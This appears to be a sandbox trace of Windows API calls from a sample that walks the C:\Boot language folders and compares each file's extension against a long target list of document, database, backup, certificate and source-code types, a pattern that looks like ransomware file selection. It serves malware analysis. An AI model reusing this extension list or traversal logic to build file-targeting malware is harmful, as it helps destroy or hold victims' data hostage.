	[0166.445] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.445] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.445] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.445] FindClose (in: hFindFile=0x6abe58 | out: hFindFile=0x6abe58) returned 1
	[0166.445] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.445] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0166.445] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.445] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb58
	[0166.446] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.446] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.446] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.447] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.447] FindClose (in: hFindFile=0x6abb58 | out: hFindFile=0x6abb58) returned 1
	[0166.447] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.447] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0166.447] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.447] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abe58
	[0166.448] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.448] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.448] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.448] FindClose (in: hFindFile=0x6abe58 | out: hFindFile=0x6abe58) returned 1
	[0166.448] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.448] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0166.448] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.449] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6ac058
	[0166.449] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.449] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.449] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.449] FindClose (in: hFindFile=0x6ac058 | out: hFindFile=0x6ac058) returned 1
	[0166.449] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.450] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0166.450] lstrlenW (lpString="C:\\Boot\\fi-FI") returned 13
	[0166.450] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Boot\\fi-FI") returned 1
	[0166.450] lstrlenW (lpString="fi-FI") returned 5
	[0166.450] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fi-FI") returned -1
	[0166.450] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.450] lstrlenW (lpString="C:\\Boot\\fi-FI") returned 13
	[0166.450] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6ac058
	[0166.451] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.451] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.451] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0166.451] lstrlenW (lpString=".1cd") returned 4
	[0166.451] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.451] lstrlenW (lpString=".3ds") returned 4
	[0166.451] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0166.451] lstrlenW (lpString=".3fr") returned 4
	[0166.451] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0166.451] lstrlenW (lpString=".3g2") returned 4
	[0166.451] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0166.451] lstrlenW (lpString=".3gp") returned 4
	[0166.451] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0166.451] lstrlenW (lpString=".7z") returned 3
	[0166.451] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.451] lstrlenW (lpString=".accda") returned 6
	[0166.451] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0166.452] lstrlenW (lpString=".accdb") returned 6
	[0166.452] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0166.452] lstrlenW (lpString=".accdc") returned 6
	[0166.452] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0166.452] lstrlenW (lpString=".accde") returned 6
	[0166.452] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0166.452] lstrlenW (lpString=".accdt") returned 6
	[0166.452] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0166.452] lstrlenW (lpString=".accdw") returned 6
	[0166.452] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0166.452] lstrlenW (lpString=".adb") returned 4
	[0166.452] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0166.452] lstrlenW (lpString=".adp") returned 4
	[0166.452] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0166.452] lstrlenW (lpString=".ai") returned 3
	[0166.452] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0166.452] lstrlenW (lpString=".ai3") returned 4
	[0166.452] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0166.452] lstrlenW (lpString=".ai4") returned 4
	[0166.452] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0166.452] lstrlenW (lpString=".ai5") returned 4
	[0166.452] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0166.452] lstrlenW (lpString=".ai6") returned 4
	[0166.452] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0166.452] lstrlenW (lpString=".ai7") returned 4
	[0166.453] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0166.453] lstrlenW (lpString=".ai8") returned 4
	[0166.453] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0166.453] lstrlenW (lpString=".anim") returned 5
	[0166.453] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0166.453] lstrlenW (lpString=".arw") returned 4
	[0166.453] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0166.453] lstrlenW (lpString=".as") returned 3
	[0166.453] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0166.453] lstrlenW (lpString=".asa") returned 4
	[0166.453] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0166.453] lstrlenW (lpString=".asc") returned 4
	[0166.453] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0166.453] lstrlenW (lpString=".ascx") returned 5
	[0166.453] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0166.453] lstrlenW (lpString=".asm") returned 4
	[0166.453] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0166.453] lstrlenW (lpString=".asmx") returned 5
	[0166.453] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0166.453] lstrlenW (lpString=".asp") returned 4
	[0166.453] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0166.453] lstrlenW (lpString=".aspx") returned 5
	[0166.453] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0166.453] lstrlenW (lpString=".asr") returned 4
	[0166.454] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0166.454] lstrlenW (lpString=".asx") returned 4
	[0166.454] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0166.454] lstrlenW (lpString=".avi") returned 4
	[0166.454] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0166.454] lstrlenW (lpString=".avs") returned 4
	[0166.454] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0166.454] lstrlenW (lpString=".backup") returned 7
	[0166.454] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0166.454] lstrlenW (lpString=".bak") returned 4
	[0166.454] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0166.454] lstrlenW (lpString=".bay") returned 4
	[0166.454] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0166.454] lstrlenW (lpString=".bd") returned 3
	[0166.454] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0166.454] lstrlenW (lpString=".bin") returned 4
	[0166.454] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0166.454] lstrlenW (lpString=".bmp") returned 4
	[0166.454] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0166.454] lstrlenW (lpString=".bz2") returned 4
	[0166.454] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.454] lstrlenW (lpString=".c") returned 2
	[0166.454] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0166.455] lstrlenW (lpString=".cdr") returned 4
	[0166.455] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0166.455] lstrlenW (lpString=".cer") returned 4
	[0166.455] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0166.455] lstrlenW (lpString=".cf") returned 3
	[0166.455] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0166.455] lstrlenW (lpString=".cfc") returned 4
	[0166.455] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0166.455] lstrlenW (lpString=".cfm") returned 4
	[0166.455] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0166.455] lstrlenW (lpString=".cfml") returned 5
	[0166.455] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0166.455] lstrlenW (lpString=".cfu") returned 4
	[0166.455] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0166.455] lstrlenW (lpString=".chm") returned 4
	[0166.455] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0166.455] lstrlenW (lpString=".cin") returned 4
	[0166.455] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0166.455] lstrlenW (lpString=".class") returned 6
	[0166.455] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0166.455] lstrlenW (lpString=".clx") returned 4
	[0166.455] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0166.455] lstrlenW (lpString=".config") returned 7
	[0166.456] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0166.456] lstrlenW (lpString=".cpp") returned 4
	[0166.456] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0166.456] lstrlenW (lpString=".cr2") returned 4
	[0166.456] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0166.456] lstrlenW (lpString=".crt") returned 4
	[0166.456] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0166.456] lstrlenW (lpString=".crw") returned 4
	[0166.456] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0166.456] lstrlenW (lpString=".cs") returned 3
	[0166.456] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0166.456] lstrlenW (lpString=".css") returned 4
	[0166.456] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0166.456] lstrlenW (lpString=".csv") returned 4
	[0166.456] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0166.456] lstrlenW (lpString=".cub") returned 4
	[0166.456] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0166.456] lstrlenW (lpString=".dae") returned 4
	[0166.456] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0166.456] lstrlenW (lpString=".dat") returned 4
	[0166.456] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0166.456] lstrlenW (lpString=".db") returned 3
	[0166.456] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0166.456] lstrlenW (lpString=".dbf") returned 4
	[0166.457] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0166.457] lstrlenW (lpString=".dbx") returned 4
	[0166.457] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0166.457] lstrlenW (lpString=".dc3") returned 4
	[0166.457] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0166.457] lstrlenW (lpString=".dcm") returned 4
	[0166.457] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0166.457] lstrlenW (lpString=".dcr") returned 4
	[0166.457] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0166.457] lstrlenW (lpString=".der") returned 4
	[0166.457] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0166.457] lstrlenW (lpString=".dib") returned 4
	[0166.457] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0166.457] lstrlenW (lpString=".dic") returned 4
	[0166.457] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0166.457] lstrlenW (lpString=".dif") returned 4
	[0166.457] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0166.457] lstrlenW (lpString=".divx") returned 5
	[0166.457] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0166.457] lstrlenW (lpString=".djvu") returned 5
	[0166.457] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0166.457] lstrlenW (lpString=".dng") returned 4
	[0166.457] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0166.457] lstrlenW (lpString=".doc") returned 4
	[0166.457] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.458] lstrlenW (lpString=".docm") returned 5
	[0166.458] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0166.458] lstrlenW (lpString=".docx") returned 5
	[0166.458] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.458] lstrlenW (lpString=".dot") returned 4
	[0166.458] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0166.458] lstrlenW (lpString=".dotm") returned 5
	[0166.458] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0166.458] lstrlenW (lpString=".dotx") returned 5
	[0166.458] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0166.458] lstrlenW (lpString=".dpx") returned 4
	[0166.458] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0166.458] lstrlenW (lpString=".dqy") returned 4
	[0166.458] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0166.458] lstrlenW (lpString=".dsn") returned 4
	[0166.458] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0166.458] lstrlenW (lpString=".dt") returned 3
	[0166.458] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0166.458] lstrlenW (lpString=".dtd") returned 4
	[0166.458] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0166.458] lstrlenW (lpString=".dwg") returned 4
	[0166.458] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0166.458] lstrlenW (lpString=".dwt") returned 4
	[0166.458] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0166.459] lstrlenW (lpString=".dx") returned 3
	[0166.459] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0166.459] lstrlenW (lpString=".dxf") returned 4
	[0166.459] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0166.459] lstrlenW (lpString=".edml") returned 5
	[0166.459] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0166.459] lstrlenW (lpString=".efd") returned 4
	[0166.459] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0166.459] lstrlenW (lpString=".elf") returned 4
	[0166.459] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0166.459] lstrlenW (lpString=".emf") returned 4
	[0166.459] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
